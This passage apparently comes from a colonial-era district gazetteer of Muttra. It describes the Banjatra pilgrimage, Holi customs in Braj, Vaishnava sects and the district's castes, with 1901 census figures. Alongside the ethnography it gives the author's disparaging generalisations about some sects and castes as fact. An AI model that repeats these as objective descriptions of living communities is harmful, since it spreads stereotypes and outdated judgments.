Such in outline is the story of Krishna, the creed implicitly believed by thousands of devout pilgrims that throng the city from the Janam-Ashtami onwards, bent on making the peregrination of the sacred country, nearly every spot in which is associated with some event in his life. This pilgrimage it is now necessary to describe. The number of sacred places, woods, groves, ponds, wells, hills and temples, all to be visited in fixed order, is considerable. There are generally reckoned five hills, eleven rocks, four lakes, eighty-four ponds and twelve wells; but the twelve bans or woods, and the twenty-four upabans or groves, are the charac­teristic features of the pilgrimage, which is thence called the Ban­jatra. The twelve bans are Madhuban, Talban, Kumudban, Bahulaban, Kamban, Khadiraban, Brindaban, Bhadaban, Bhandir­ban, Belban, Lohaban and Mahaban; and the 24 upabans are Gokul, Gobardhan, Barsana, Nandgaon, Sanket, Paramadra, Aring, Sessai, Mat, Unchagaon, Khelban, Srikund, Gandharvban, Parsauli, Bilchhu, Bachhban, Adibadri, Karahla, Ajnokh, Pisayo, Kokilaban, Dadhigaon, Kotban and Rawal. Starting from Muttra, the pilgrims make their first halt at Madhuban in the village of Maholi, some four or five miles to the south-west of the city. Here, according to the Puranas, Rama's brother, Satrughna, after hewing down the forest stronghold of the giant Madhu, founded on its site the town of Madhupuri. From Maholi, the pilgrims turn south to Talban,"the palm grove" where Balaram was attacked by the demon Dhanuk. The village in which it is situated is called Tarsi, probably in allusion to the legend. They then visit Kumudban,"of the many water lilies," in Unchagaon; and Bahulaban in Bathi, where the cow Bahula, being seized by a tiger, begged the savage beast to spare her life for a few minutes, while she went away and gave suck to her little one. On her return, bringing her calf with her, the tiger vanished and Krishna appeared in his stead; for it was the god himself who had made this test of her truthfulness. The event is commemorated by the little shrine of Bahula-gae, still standing on the margin of the Krishna-kund. They next pass through the villages of Tosh, Jakhingaon and Mukhrai, and arrive at Radhakund, where are the two famous tanks prepared for Krishna's expiatory ablution after he had slain the bull Arishta Thence they pass on to Gobardhan, scene of many a marvellous incident, and visit all the sacred sites in the neighbour-hood; the village of Basae, where the two divine children with their foster parents once came and dwelt; the Kallolkund by the grove of Aring; Madhurikund; Morban, “the haunt of the peacock;” and Chandrasarovar, “the moon lake,” where Brahma, joining with the Gopis in the mystic dance, was so enraptured with delight that, all unconscious of the fleeting hours, he allowed the single night to extend over a period of six months. After a visit to Paitha, where the people of Braj “came in” (paitha) to take shelter from the storms of Indra under the uplifted range, they pass along the heights of the Giriraj to Anyaur, " the other side," and so by many sacred rocks, as Sugandhi-sila, Sinduri-sila and Sundar-sila, with its temple of Gobardhan Nath, to Gopalpur, Bilchhu and Ganthauli, where the marriage knot was tied (ganth), that confirmed the union of Radha and Krishna.

Following the line of frontier the pilgrims arrive at Kam-ban, in Bharatpur territory, 39 miles from Muttra, with the Lukluk cave, where the boys played blindman's bluff, and Aghasur's cave, where the demon of that name was destroyed: and leaving Kanwarogaon', enter again on British territory near the village of Unchagaon, with its ancient temple of Baladeva. High on the peak above is Barsana, with its series of temples dedicated to Larliji, where Radha was brought up by her parents, Brikhbhan and Kirat; and in the glade below is Dohani­kund, near Chaksauli, where, as Jasoda was cleansing her milk pail (dohani), she sfirst saw the youthful pair together. Here too is Premsarovar, or "love lake," where first the amorous tale was told; and Sankari Khor, "the narrow opening" between the hills, where Krishna lay in ambush and levied his toll of milk on the Gopis as they came from Gahwarban, the "thick forest," beyond. Next are visited Sanket, the place of assigna­tion; Rithora, home of Chandravali, Radha's faithful attendant; and Nandgaon, the residence of Nanda and Jasoda; with the great lake Pansarovar, at the foot of the hill, where Krishna morning and evening drove his foster-father's cattle to water (pan). Next in order come Karahla, with its five kadamb trees; Kamai, where one of Radha's humble friends was honour­ed by a visit from her lord and mistress in the course of their rambles; Ajnokh, where Krishna pencilled his lady's eye-brows with anjan as she reclined in careless mood on the green sward; and Pisayo, where she found him fainting with thirst, and revived him with a draught of water. Then, still bearing due north, the pilgrims come to Khadiraban, "the acacia grove," in Khaira; Kumarban and Javakban, where Krishna tinged his lady's feet with the red Javak dye, and Kokilaban, "ever musical with voice of the cuckoo;" and so arrive at the base of the Charan Pahar in Little Bathen, the "favoured spot," where the minstrel god delighted most to stop and play his flute, and where Indra descended from heaven on his elephant Airavata to do him homage. They then pass on through Dadhigaon, where Krishna stayed behind to divert himself with the milk-maids, having sent Baladeva on ahead with the cows to wait for him at Bathen; and so reach Kotban, the northernmost point of the perambulation.

The first village on the homeward way is Sessai, a hamlet of Hatana, where Krishna revealed his divinity by assuming the emblems of Narayan and reclining under the canopied heads of the great serpent Shesha, of whom Baladeva was an incarnation. Then reaching the Jumna at Khelban, near Shergarh, where Krishna's temples were decked with "the marriage wreath" (sihara), they follow the course of the river through Biharban in Pirpur, and by Chirghat in the village of Siyara, where the frolicsome god stole the bathers' clothes (chir), and arrive at Nandghat. Here Nanda, bathing one night, was carried off by the myrmidons of the sea god Varuna, who had long been lying in wait for this very purpose, since their master knew that Krishna would at once follow to recover his foster-father, and thus the depths of ocean, too, no less than earth, would be gladdened with the vision of the incarnate deity. The adjoining village of Bhaigaon derives its name from the terror (bhai) that ensued on the news of Nanda's disappearance. The pilgrims next pass through Bachhban, where the demon Bachhasur was slain; the two villages of Basai, where the Gopis were first subdued (bas-ai) by the power of love; Atas, Narisemri, Chhatikra and Akrur, where Kansa's perfidious invitation to the contest of arms was received; and wend their way beneath the temple of Bhatrond to Brindaban, where many a sacred ghat and venerable shrine claim devout attention. The pilgrims then cross the river and visit the tangled thickets of Belban in Jahangirpur; the town of Mat, with the adjoining woods of Bhadraban and Bhandirban; Dangauli, where Krishna dropped his staff (dang), and the lake of Mansarovar, scene of a lover's fit of pettishness (man). Then follow the villages of Pipraoli; Lohaban, where the demon Lohasur was defeated; Gopalpur; and Rawal, where Radha's mother, Kirat, lived. Next come Burhiya-ka-khera, home of the old dame, whose son had married Radha's companion Manvati, whom the fickle Krishna saw and loved; Bandigaon, name commemorative of Jasoda's faithful attendants, Bandi and Anandi; and Baldeo with its wealthy temple dedicated in honour of Balarama and his spouse Revati. At Hathaura beyond are the two river landing places, Chinta-haran, "the end of doubt," and Brahmanda "creation" ghat. Close by is the town of Mahaban, famous for many incidents in Krishna's infancy; and a little further on lies Gokul, with innumerable shrines dedicated to the god under one or other of his favourite titles, MadanMohan, MadhavaRao, Brajesvar, Gokulnath, Navanit Priya and Dwarka Nath. After all these have been duly honoured with a visit, the weary pilgrims finally recross the Jumna and rest at last at the Visrant-ghat in Muttra, the place whence they started. During the time of the Banjatra a series of melas is held at the different woods, where the Ras-lila is celebrated. This is an unwritten religious drama, which repre­sents the most popular incidents in the life of Krishna. The arrangement of the performances forms the recognized occupa­tion of a class of Brahmans residing chiefly in the villages of Karahla and Pisayo. They are called rasdharis and have no other profession or means of livelihood. The complete series of representations extends over a month or more, each scene being acted on that very spot with which the original event is tradi­tionally connected. The cost of the whole perambulation with the performances at the different stations is provided by some wealthy individual, often a trader from Bombay or other distant part of India. The local Gosain, whom he acknow­ledges as his spiritual director, organizes all the arrangements through one of the rasdharis. The rasdhari who collects the troupe or mandali of singers and musicians, and himself takes the chief part in the performance, declaiming in set recitative with the mandali for chorus. The children who personate Radha and Krishna act only in dumb show.

THE HOLI

Next to the Banjatra, the most popular local festivity is the Holi, which is observed for several days in succession at differ­ent localities. Several of the usages are peculiar to Braj; and the most peculiar, under the generic name of Phul Dol, take place in Chhata tahsil. At Barsana the festival is known as the Rangila Holi, and a sham fight takes place between the men of Nandgaon and the Barsana ladies, the wives of the Gosains of the temple of Larliji. At Phalen a huge bonfire is lit on the banks of the Prahlad-kund, and the local pande or priest of the temple of Prahlad, after immersing himself in the waters of the tank, leaps through the sacred flames. At Kosi the Jat inhabitants indulge in a more elaborate performance, which consists largely of dancing, successive troops, attired in high­waisted, full-skirted robes, called jhaga, and red pagris, in which is fixed a tinsel plume, called kalangi, taking part in the show. At Bathen, the ceremony is known as the Holanga Meta; and here a sham fight takes place between the Jatnis of the village, armed with lathis, and the men of the neighbouring village of Jau, armed with boughs of the prickly acacia. The scenes depicted in these various performances are clearly relics of the primitive worship of the powers of nature on the return of spring: but it is curious to note that, in Braj, the festival of the Holi is now largely connected with the worship of Krishna, Radha and Balaram, so saturated are the people with reverence for the godlike hero, his brother and his spouse. This is all the more curious because the institution of the Banjatra and the Ras-lila, and the local legends they involve, is traceable to one of the Brindaban Gosains at the end of the 17th century. The place these ceremonies and legends hold in popular estimation may be gathered from the foregoing remarks. It remains to detail the religious sects of the district, especially those whose particular adoration is devoted to its tutelary deity.

HINDU SECTS

The majority of the Hindus of Muttra belong , as is usually the case, to no particular religious sect, though the number of persons professing adherence to a definite denomination is con­siderably above the average. It is usual to speak of Muttra as the headquarters of Vaishnavism, more especially under the form of Krishna worship, and Benares as the centre of Saivism. To this, as a general statement, provided it is not held to involve a classification of all Hindus into two main orders, exception can hardly be taken: and at the last census in Muttra no less than 178,169 persons or 26.2 per cent. of the Hindu population were returned as Vaishnavites of various sorts.Of the remainder,103,343 or 15.2 per cent. were described as Monotheists, 10,521 or 1.5 percent. as Saivites; and there were 3,213 worship­pers of the Panchon Pir, and 1,737 Radha Swamis. The last figure was only exceeded in Saharanpur and Agra. It is, however, unnecessary to here describe the tenets of this sect, the founder of which was Sheo Dayal Singh, a member of an old and respectable family of Khattris in Agra, who died in 1878. Nor is there anything curious to note regarding the worshippers of the Panchon Pir. The only remarkable point about the Saiv­ites is their paucity compared with the majority of the districts in the province. As usual the majority of them belong to the division known as Lingaits and Gorakhpanthis. But Vaishnaism calls for more detailed notice.

VAISHNAVISM

For the early history of Vaishnavism or Saivism we have few materials. Vaishnavism has been traced through Buddhism up to tree and serpent worship, and has been supposed to be of Scythian origin. But on this it would be out of place to enter here; and it is not until the time of the reformers, begin­ning with Ramanuja in the 12th century, that the disruption of the Hindus into the sectarian divisions which we find at the present day commences. The teachers of the reformed Vaish­nava creed at first confined their labours to the south and east of India, where the influence of Muhammadanism was less felt than in the north and west. From here their doctrines spread gradually to other portions of Hindustan and found a congenial home in Muttra, which was sanctified for ever by the deity himself who chose it as his home during his ninth incarnation as Krishna. The teachings of the reformers here underwent, in several cases, modification at the hands of disciples who formed sects of their own; and therefore it will be more convenient in dealing with the Vaishnavite sects to treat distinctively those which may be considered to be peculiarly associated with Muttra.

THE FOUR OLDER VAISHNAVA SECTS ,SHRI VAISHNAVA

The four main divisions or sampradayas, as they are called, of the early reformed Vaishnavas are the Sri Vaishnava, the Nimbarak Vaishnava, the Madhva Vaishnava and the Vishnu Swami. Of these the first, which was founded by Ramanuja in the 11th or 12th century, has never been important in this province, and was altogether unknown in Muttra until the two brothers of the well-known Seth family abjured the Jaini faith, declared their adhesion to its belief, and built at enormous cost the famous temple of Rang Ji at Brindaban. It is the most ancient and the most reputable of the four communities, and may be distinguished from the others by a sectarial mark. This mark consists of two white perpendicular streaks down the forehead, joined by a cross line at the root of the nose, with a streak of red between. Their chief doctrine, called Vaishthadwaita, is the assertion that Vishnu, the one supreme god, though invisible as cause is visible as effect in a secondary form in material creation. In one marked respect they differ from the mass of the people at Brindaban: they refuse to recognise Radha as an object of religious adoration. Their mantra or formula of invitation is said to be Om Ramaya Nammah, that is " Om, reverence to Rama." This sampradaya is divided into two sects, the Tenkalai and the Vadakalai, who differ on two points of doctrine, details of which need not be given here, and in the mode of making the sectarial mark on the forehead. The followers of the Tenkalai extend its middle line a little way down the nose itself, while the Vadakalai terminate it exactly at the bridge. The temple at Brindaban is attended almost exclusively by foreigners; and the habitues of the building itself are all of the Tenkalai persuasion. Their number was not separately recorded at the census.

MADHVACHARYAS

Next in order come the Madhva Vaishnavas or Madhva­charyas, who in 1901 numbered 5,510 persons. They form a scattered community, and none of their temples, either at Brinda­ban or elsewhere in the district, are of any note. The founder of the sect was Madhvacharya, who was a native of southern India and was born in 1199 A.D. The temple where he ordinarily resided and where he set up a miraculous image of Krishna, made with the hero Arjun's own hands, is still in existence at a place called. Udipi. He is said to have been only nine years of age when he composed the Bhasha or commentary on the Gita, which his disciples accept as of divine authority. Their distinct­ive tenet is the assertion of an essential duality between the jivatma or principle of life and the paramatma or supreme being which is identified with Vishnu: they consequently deny the doctrine of absorption into the universal spirit after death. Ten duties form the moral code of the Madhvacharyas—truth, good counsel, mild speaking, study, liberty, kindness, protection, clemency, freedom from envy, and faith. The usual rites of Hindu worship are followed, images of Saiva as well as of Vishnu being admitted to the Madhva temple, but rites are held to be of value only as evidencing a desire to conciliate Vishnu.

NIMBARK VAISHNAVAS

The Nimbarak Vaishnavas were returned at 14,503 in number at the last census. One of their oldest shrines is on the Dhurva hill at Muttra. The founder of the sect was one Bhaskaracharya; and the origin of the name Nimbarak, literally " the sun in a nim tree ", is explained by the following story. One of the founders of the sect invited a holy man to a repast but had delayed till after sunset the ceremony of receiving his guest, not knowing that the latter was forbidden to eat except in the day time. In order to oblige him, the sun god descended on to a nim tree and remained there until the holy man had finished his food. In consequence of this special manifestation of the divine favour, Bhaskaracharya's name became Nimbarka or Nimbaditya. His special tenets are unknown, as they do not appear ever to have been committed to writing. The Nimbarak Vaishnavas believe, however, in salvation by faith and by the contemplation of the one infinite and invisible god. The reward of faith is not, as with most Hindu sects, final extinction, but final enjoyment of the visible presence of the deity. Radha and Krishna as separate personalities are mere symbols of divine love and like other symbols disappear, whilst the essential love for and trust in a supreme god remains. Most of the solitary ascetics who have their little hermitages in the different sacred groves, with which the district abounds, belong to the Nimbarak persuasion.

THE VISHNU SWAMI AND VALLABHACHARYAS

The faith of the fourth early reformed sampradaya, the Vishnu Swami, has now disappeared in its original form; but it has a successor in that of the Vallabhacharyas or as they are otherwise called Gokulastha Gosains. They are numerically the strongest represented of the four, the adherents at the census of 1901 numbering 32,344 persons. But it may be doubted whether all these are residents of the district, for the town of Gokul, which is their headquarters, is crowded throughout the year with pilgrims, of whom the majority come from Gujarat and Bombay, where the doctrines of the sect have been very widely propagated, more especially among the Bhattias and other mercantile classes. The founder of the sect, Vallabha­charya, was born in 1479 A.D. at Champaranya, near Benares, while his parents were on a pilgrimage, and was the second son of Lakshman Bhatt, a Telinga Brahman of the Vishnu Swami sampradaya. After a very short stay at Benares his parents fixed their home at Gokul, where the child was placed under the tuition of Pandit Narayan Bhatt. In four months he is said to have mastered the whole vast range of Sanskrit literature and philosophy. At eleven years of age he lost his father, and almost immediately afterwards commenced his career as a religious teacher. His earliest triumphs were achieved in southern India, where he made his first convert, Damodar Das; and in a public disputation at Bijainagar, the place where his mother's family resided, he refuted the arguments of the court pandits with such authority that even the king, Krishna Deva, was convinced by his eloquence and adopted the youthful stranger as his spiritual guide. Thenceforth his success was assured, and everywhere his doctrines enlisted a multitude of adherents. A life of celibacy being utterly at variance with his ideas of a reasonable religion, he married a wife at Benares and became the father of two sons, Gopi Nath and Bithal Nath. His visits to Braj were long and frequent. In 1520 he founded at Gobardhan the great temple of Srinath, and at Brindaban saw in a vision the god Krishna, who directed him to introduce a new form of worship in his honour, wherein he should be adored in the form of a child under the title of Bal Krishna or Bal Gopal. This is still the cultus most affected by his descendants at the present day. His permanent home, however, was at Benares, where he composed his theological works, of which the most extensive is a commentary on the Bhagvatgita, called the Subodhini. He died at Benares in 1531 A.D. He was succeeded by his second son, Bithal Nath, who propagated his father's doctrines with zeal and success through out all the south and west of India, and finally in 1565 settled down at Gokul. He had a family of seven sons, by two wives the most famous of whom was Gokul Nath. The descendants of Gokul Nath in consequence claim some slight pre-eminence above their kinsmen; and the principal representative now is a Gosain at Bombay. As taught by Vallabhacharya, the doctrines of the sect are unexceptional. Sin of all kinds is washed away by a union with god: Krishna is the refuge of all, and to the holy Krishna man must dedicate his all. The scandal which has attached itself to the name of the sect is due to the development of this doctrine, apparently in the time of Gokul Nath. The Gosain is identified with the divinity. By the act of dedication a man submits to the pleasure of the Gosain as god's representative, not only his worldly wealth but the virginity of his daughter or newly married wife. Under this teaching, the Vallabhacharyas have become the epicureans of the East, and are not ashamed to avow their belief that the ideal life consists rather in social enjoyment than in solitude and mortification. Members of the sect are invariably family men and engage freely in secular pursuits. The present head of the community is Ramman Lal.

MODREN VAISHNAVA SECTS.

The three modern schools of Vaishnavism associated with Muttra are the Radhaballabhis, who amounted to 18,827 persons in 1901; the disciples of Hari Das, to the number of 1,630, and the Bengali or Gauriya Vaishnavas, whose numbers were not separately recorded. The last of these orders was founded by Chait­anya, who was born at Nadia in Bengal in 1485 A.D. and, after spending six years in pilgrimages between Muttra and Jagan-nath, died at the latter place in 1527 A.D. Six of his followers settled at Brindaban, and the recognised leaders were Rupa and Sanatana, the reputed authors of the Mathura Mahatma. The special tenets of the Bengali Vaishnavas are the identification of Krishna with the supreme god; the identity of Krishna and Chaitanya as embodiments of the god; and the all-sufficiency of faith, such faith being adequately expressed by the mere repeti­tion of the name. The connection of Krishna and Radha occupies an important position in the Gauriya Vaishnava creed. The followers of Swami Hari Das are a prosperous community at Brindaban and own one of the most conspicuous of the modern temples at that place. This is dedicated to Krishna under his title of Bihari Ji. The founder of the sect is said to have been a Sanadh Brahman, who was born at Rajpur, near Brindaban, in samvat 1441; and lived most of his life either within or in the immediate neighbourhood of the town. Hari Das imbibed the spirit of Chaitanya's teaching; but it is very doubtful whether he lived as early as samvat 1441. More probably he flourished at the end of the sixteenth and beginning of the seventh centuries A. D., and he was the author of only two short poems known as the Sadharan Siddhant and Ras ke Pada His successors, however, produced voluminous writings, but their tenets appear to differ little from those of the Gauriya Vaishnavas, More important are the Radhaballabhis, whose numbers, in Muttra, exceed those of any other district in the, province. The founder of this sect was HariVans, the son of Vyasa, a Gaur Brahman of Deoband in the Saharanpur district. He was born at the village of Bad near Muttra in 1559 A.D., and was originally a Madhvacharya Vaishnava. His natural passions, however, induced him to exchange his celibacy for a married life; and to devote his adoration mainly to Krishna's mistress Radha, who was deified as the goddess of lust, and in a very secondary degree to Krishna himself. The sect takes its name from an image of Krishna, called RadhaVallabh, which, was given to Hari Vans by a Brahman. This image was set up in a temple of the same name at Brindaban, which was built by a Kayasth disciple called Sundar Lal in sambat 1683 and is still owned by descendants of the founder. His second son, Krishna Chand, built a temple to Radha Mohan at the same place. HariVans was the author of two poems, the Chaurasi Pada and the Radha sudha Nidhi, the latter of which is a piece of highly impassioned erotic verse. The Gosains, however, who accept his sensuous ravings as their gospel, are respectable men who lead a generally sober and intellectual life, in contrast to what might be expected from the tenets of their creed.

OTHER VAISHNAVA SECTS.

Of the whole number of Vaishnavites at last census 49,509 were returned as Ramanandis. This sect was founded by Ramanand, a disciple of Ramanuja, who made it his avowed object in founding a new sect to liberate his followers from the fetters of the earlier sect in matters both of form and doctrine. In contradistinction to the sects who regard Krishna as the chief incarnation of Vishnu, the Ramanandis assert the superiority of Rama and the necessity of the worship of Rama and Sita; but their other tenets are somewhat indefinite, and it is probably this indefiniteness which has led to the foundation of separate sects by so many of the followers of Ramanand. The numerically strongest of these sects are the Nanakshahis, numbering 1,560; Namdeopanthis, 398; Dadupanthis, 130; Raidasis, 19; and Sainpanthis.The number of the last however was not recorded at the last census. Amongst the adherents of the original sect and those of the later developments a purer tone of belief is manifest than among the sects devoted to the worship of Krishna, and the later ones have many of their followers amongst the lowest castes. Their principal gospel is the Ramayana, of Tulsi Das, a work to which northern India owes much of the freedom it enjoys from the licentiousness which has disgraced some of those connected with the worship of Krishna or the Sakti of the Tantras. The Bishnoi sect at last census numbered 22,551 adherents. But it is by no means certain that these figures are entirely accurate, for, owing to the similarity of Bishnoi and Baishnavi in the Persian script, mistakes in enumeration are apt to arise. This sect is numeri­cally strongest in the Meerut division and in the districts of Agra, Muttra and Bijnor; and its name is said to be derived from the twenty-nine (bis nau) articles prescribed by the founder of the sect. It had its origin in the districts of the Punjab which border on the west of the United Provinces, and this accounts for the peculiar distribution of the sect. The name Bishnoi is really derived from the prominence they give in their creed and worship to the god Vishnu, and they comprise members of all castes; but they try to sink their tribe in their religion, differ in certain ceremonial observances from other Hindus, and in Bijnor at any rate have certain affinities with Muham­madanism. The only other sect with numbers that exceed those of other districts is that of the Gobindpanthis, who in this district in 1901 amounted to 1,126 persons. The sect was founded by a mendicant named Gobind Das, who is buried at Ahrauli in the Fyzabad district, and its beliefs are theistic. Beyond this little or nothing is known about them.

HINDU CASTES

According to the statistics of the last census the Hindu population of the district was composed of representatives of no less than 83 different castes, while in the case of 1,725 persons no caste was specified. Only a few of these castes, however, are of any great importance. There are five castes with over 50,000 members apiece, together accounting for 66.84 per cent. of the Hindu inhabitants: no others occur in numbers exceeding 20,000, while eight are represented by over 10,000 souls, an additional 16.94 per cent. The remainder, 16.22 per cent., comprises persons belonging to a great variety of castes, only a few of which deserve special description.

CHAMARS

First in point of numbers, though occupying almost the lowest place in the social scale, come Chamars, of whom there were 120,444 representatives, forming 17.71 per cent of the Hindu population. They are distributed fairly equally over the tahsils of the district, but form the most numerous caste only in Chhata and Sadabad. In Muttra they are outnumbered by Brahmans, in Mat by Jats, and in Mahaban by both Jats and Brahmans. They are somewhat more numerous west of the Jumna than in the east, and are for the most part employed in general and agricultural labour.

BRAHMANS

In the second place come Brahmans, who, in 1901, numbered 115,477 souls or 16.98 per cent. of the Hindus. They hold a strong position in all tahsils, but especially in Muttra; and as might be expected they are fewest in Sadabad. The vast majority of the Brahmans of Muttra belong to the Sanadh or Sanaurhia subdivision: after this come Gaurs, but other subcastes are very scantily represented. Of these subcastes the only one which calls for particular mention is the Chaube. The Chaubes form a community of between five and six thousand persons, and have been from very ancient times celebrated as wrestlers. They still bear a good reputation as such, but they appear to have deteri­orated as regards learning and many other virtues which were formerly imputed to them. Like the Pragwalas at Allahabad they are the recognised local cicerones, and haunt the most popular ghats and temples, ready to take charge of the first pilgrim that comes along and is likely to pay handsomely for their services. Many, however, have their recognised clients even in distant parts of India, and often a hereditary attachment is formed between the parties which passes on from father to son. One of the most noticeable peculiarities of the Chaubes is their reluctance to make a match with an outsider. If by any possibility it can be managed; they will always find bridegrooms for their daughters among the residents of the town. This custom results in two rather exceptional usages, for mar­riage contracts are often made while one or even both of the parties concerned are unborn; and little or no regard is paid to relative age. A Chaube, if his friend has no available daughter to bestow upon him, will agree to wait for the first grand-daughter. Many years ago a considerable migration of the stock was made to Mainpuri. Akin to Brahmans are the Ahiwasis, a caste which, according to the census return, is confined in these provinces to the districts of Bulandshahr, Muttra, Agra, Bareilly and Sultanpur. Out of a provincial total of 3,147 Ahiwasis at last census, 1,396 were enumerated in this district, and of this number all but 82 were in the Chhata tahsil. Their name is derived from Ahi, the great serpent Kaliya, whom Krishna defeated; and their first home is stated to have been the village of Semrakh, which adjoins the Kali Mardan ghat at Brindaban. The only body of them on the east of the Jumna furnishes the hereditary Pandes of the Baldeo temple, one of the wealthiest of the Muttra shrines, attached to which are several revenue-free villages in Mahaban. West of the Jumna they appear in no sacred character, but merely as landholders and cultivators. They are a prosperous community and affect masonry houses to live in. In appearance they are easily distinguishable, the men by their head-dress and the women by their way of wearing the hair. Formerly their chief-occupation was the carrying trade, and they had practically a monopoly of the trade in salt from Rajputana. Railways have now ousted them from their old occupation. As this necessitated long journeys and prolonged absence from home on the part of the men, the tilling of their lands had to be left almost entirely to the women, and it is said that as an Ahiwasi village might be easily recognised by the number of carts, cattle and masonry houses, so his fields might be told by their careless and slovenly cultivation. Local prejudice denies them the appellation of Brahman. As a class, they are ignorant and illiterate, and it is popularly believed that the mother of the race was a Chamar woman.

JATS

Third on the list come Jats, numbering 101,516 persons or 14.93 of the Hindu population. They are well distributed through all tahsils, but are most numerous in Mahaban, Chhata and Mat, in all of which extensive colonies of them are to be found: in the first-named tahsil they form over 23 per cent. of the total inhabitants. In no other district of the province, except Meerut and Aligarh, does the number of Jats exceed that of this district. Both as landholders and cultivators they are the backbone of the agricultural classes. The Jats are divided into several subordinate clans each known as pal or got. Marriage within the pal or got is forbidden, and it is considered, as among Rajputs, a point of honour always to marry daughters into a higher pal, sons taking their wives from a lower one. As a matter of fact, however, marriage customs among the Jats are not very strict, because they are one of the castes which adopt kirao. By this custom marriage with a deceased brother's wife is legitimate. But the most peculiar custom is that regarding concubines. For, without marriage, a woman of any caste, dharaicha, may be taken into the house, and her children are considered to be of the father's caste and to have equal rights of inheritance with his other children; and not only so but, in some cases, the child of such a woman by any previous husband, of whatever caste, whom she may bring with her to her new home, has rights of inherit­ance in his step-father's family: such children are known as lendra. According to the census returns of 1891 the chief subcastes of the Jats in this district were the Barh, Sangeriyan, Khutel; Lathor and Bacharne, while others which had over 2,000 repre­sentatives apiece were the Bharangar, Sinsinwar, Sakarwar Thenwar, Maini, Godhi, Chhonkar, Gadar and Rawat. The first named had at that census twice the number of representatives of any other clan, and under it are probably to be included the Nohwar, Narwar and Pachahra Jats, who form so extensive a colony in Mat and Mahaban. The former take their name from their original place of settlement, Noh, and are so closely related to the Narwars that they are prohibited from intermarrying with them. They are descended from a common ancestor who lived in Jartauli of Aligarh, whence he was probably driven by Ibrahim Lodi for rebellion. One of his sons called Rati Rao colonised Noh and the other Narwar. The children of Rati Rao gave up Noh to their family priests and founded the villages of Bhenrai and Bajana, whence they spread over the pargana: while a descendant of the brother who founded Narwar settled at Barauth. The Pachahras founded taluqa Aira Khera of Mahaban and then Dunaitia of Mat. Mahaban has a larger selection of Jat clans than any other tahsil, and here are found the majority of the Sangeriyans, Lathors, Bharangars, Sakarwars, Thenwars, Mainis, Godhis, Chhonkars, Gadars and Rawats. West of the Jumna reside for the most part Khutels and Sinsin­wars, the former making up a compact settlement in the circle of villages which formed the old Sonkh taluqa in tahsil Muttra, and the latter, who are the fellow clansmen of the Rajas of Bharatpur, residing for the most part in Chhata. The Jats of the district are as a whole a fine, well-made set of men, but turbulent and intensely clannish in spirit.

RAJPUTS

After Jats come Rajputs to the number of 66,717 persons or 9.81 per cent. of the Hindus. They are found for the most part in western Muttra. To the east of the Jumna they are quite an unimportant portion of the population, except in parts of Sadabad. The best represented clan is the Jadon, and after the Jadons come Chauhans, Jaiswars, Gahlots, Kachhwahas and Bachhals. Many other clans have small numbers scattered over the district. In the case of 21,436 persons, however, no clan was specified.

JADONS

The Jadons of Muttra number 12,830 souls, but are not recognised as equal in rank to those of the same clan in Raj­putana, though it is not quite clear why they have fallen in estimation. There are in addition 1,621 Jadonbansis. Both these claim descent from Yadu, son of Yayati, the fifth monarch of the lunar dynasty; but the only pure descendants at the present day are those represented by the Raja of the small state of Karauli, west of the Chambal river, and those residing at Sabalgarh to the east of that river in Gwalior. Their lineage is traced back to Krishna, but the first historical name is Dharma Pala, 77th in descent from Krishna, whose title Pal has come down to the present Karauli Rajas. The clan is now represented in these provinces by the Raja of Awa, in tahsil Jalesar of the Etah district, who has fairly extensive landed possessions in Muttra: mention of these will be made later on. The Jadons own some villages in Muttra, but the main body of the clan is in Chhata.

OTHER RAJPUT CLANS

Neither among the Chauhans, who number 5,106 persons, nor among the Gahlots, who amount to 2,931, is there any local family of distinction or importance; and both clans have lost a large portion of their landed possessions. They, together with the Bargujars, numbering 985, are reckoned the purest Rajput clans in the district; but, while Chauhans are found in all tahsils, Gahlots hardly come west of the Karwan river in Sadabad. Rajputs of impure descent, under the generic title of Gaurua , are numerous. The best represented is the Jaiswar, which has 4,810 members and is found for the most part in Mat tahsil. Accord­ing to the local tradition, the Jaiswar derive their name from the town of jais in Oudh. They say that an ancestor of theirs, by name Jas Ram, first settled at Bhadanwara in Mat, and dispossessed Kalars. He was a leper who had been cured of his disease by a pilgrimage to the sacred places of Braj, and in acknowledgment of the divine blessings he constructed the Ram Tal at Sunrakh and made his home there. The Kachhwahas number 2,259 persons and reside for the most part in tahsil Muttra. Their ancestor, by name Jasraj, is traditionally reported to have come at some remote period from Amber, and to have established his family at the village of Kota, whence it spread on the one side to Jait and on the other to Satoha, Girdharpur, Palikhera, Maholi, Nahrauli, Naugama, Nawada and Jarsi. These villages at that time must have formed a con­tinuous tract of country. Many of them, however, have now passed into other hands. The Bachhals to the number of 1,727 are chiefly found in tahsil Chhata. They are said to be Sisodia Rajputs who emigrated to the district from Chitor, 800 years ago. As they gave the name of Ranera to one of their original settlements, there can be little doubt that the emigra­tion took place after the year 1202 A.D., when the chieftain of Chitor first assumed the title of Rana instead of the older Raval. The name Bachhal is derived from the Bachhban at Sehi, where the guru of the clan always resides. Of other Rajput tribes in the district the Panwars, numbering 1,753; the Pundirs, 1,268; the Rathors, 1,101; and the Solankhis, 832, may be mentioned.

BANIAS

Banias, who follow Rajputs and number 50,377 souls or 7,41 per cent. of the Hindu population, are found for the most part in tahsil Muttra; elsewhere they are most numerous in Sadabad. Over one-half of the total number, or 28,494 persons, belong to the Agarwala subdivision, the only others well repre­sented being the Baraseni and Khandelwal. The Bania caste has long been a powerful one in the district. Its chief men are wealthy and most of the petty money-lenders and by far the majority of the patwaris are of the same caste. The most im­portant family is that of the Seths of Muttra, of whom mention will be made below; but there are several others, such as those of Raya and Hathras, whose landed possessions in the district are by no means inconsiderable.

OTHER HINDU CASTS. –KORIS

A long interval separates Banias and the next numeri­cally strongest caste, that of Koris. The latter number 18,579 souls, and are well distributed over all tahsils; they follow generally their traditional occupation of weaving and call for no particular notice.

FAQIRS

Faqirs, who come next on the list with 18,272 persons, include Bairagis, Gosains and Jogis.

GOSAINS

It is not unnatural to find a large number of Hindu ascetics in the sacred land of Braj, but Gosains only number 803. The term popularly means any devotee, whether he lives a life of celibacy or not, and is more particularly applied to the large body of men who ordinarily own and officiate at the numerous temples at Brindaban, Gokul and elsewhere. The most important of these are the Radhavallabhis of Brindaban and the Vallabhacharyas of Gokul. The head of the latter, Ramman Lal, once held a number of villages in zamindari right; and another large landholder is Gosain Girdhar Lal, late of the Udaipur state.

GADARIYAS

Gadariyas to the number of 15,653 are well distributed over all tahsils and are chiefly employed in sheep-tending along the ravines of the Jumna.

GUJARS

